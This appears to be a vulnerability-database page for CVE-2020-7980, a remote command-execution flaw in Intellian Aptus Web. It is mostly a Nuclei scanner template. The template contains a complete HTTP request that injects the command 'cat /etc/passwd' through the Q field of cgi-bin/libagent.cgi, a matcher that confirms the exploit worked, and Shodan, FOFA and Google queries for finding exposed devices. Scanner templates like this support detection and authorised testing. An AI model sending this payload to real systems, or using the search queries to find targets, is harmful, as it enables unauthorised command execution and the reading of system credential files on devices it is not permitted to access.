CVE-2020-7980: Satellian Intellian Aptus Web <= 1.24 - Remote Command Execution

2025-08-01 Satellian Intellian Aptus Web PoC Public

Description

Intellian Aptus Web 1.24 allows remote attackers to execute arbitrary OS commands via the Q field within JSON data to the cgi-bin/libagent.cgi URI. NOTE: a valid sid cookie for a login to the intellian default account might be needed.

PoC

id: CVE-2020-7980

info:
  name: Satellian Intellian Aptus Web <= 1.24 - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: 'Intellian Aptus Web 1.24 allows remote attackers to execute arbitrary OS commands via the Q field within JSON data to the cgi-bin/libagent.cgi URI. NOTE: a valid sid cookie for a login to the intellian default account might be needed.'
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to a patched version of Satellian Intellian Aptus Web (version > 1.24).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7980
    - https://sku11army.blogspot.com/2020/01/intellian-aptus-web-rce-intellian.html
    - https://github.com/Xh4H/Satellian-CVE-2020-7980
    - http://packetstormsecurity.com/files/156143/Satellian-1.12-Remote-Code-Execution.html
    - https://github.com/0xT11/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7980
    cwe-id: CWE-78
    epss-score: 0.82544
    epss-percentile: 0.99648
    cpe: cpe:2.3:a:intelliantech:aptus_web:1.24:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: intelliantech
    product: aptus_web
    shodan-query:
      - http.title:"Intellian Aptus Web"
      - http.title:"intellian aptus web"
    fofa-query: title="intellian aptus web"
    google-query: intitle:"intellian aptus web"
  tags: cve2020,cve,intellian,aptus,packetstorm,satellian,rce,intelliantech,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/libagent.cgi?type=J HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: ctr_t=0; sid=123456789

        {"O_": "A", "F_": "EXEC_CMD", "S_": 123456789, "P1_": {"Q": "cat /etc/passwd", "F": "EXEC_CMD"}, "V_": 1}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201e97fabcc059625cb1e28fd92718201f34ec52913750f58009794a1e8b609443022100b0465a7175c42ce8eff017e7235c4b6a9245d25273853f79d2711fa328fff05b:922c64590222798bb761d5b6d8e72950

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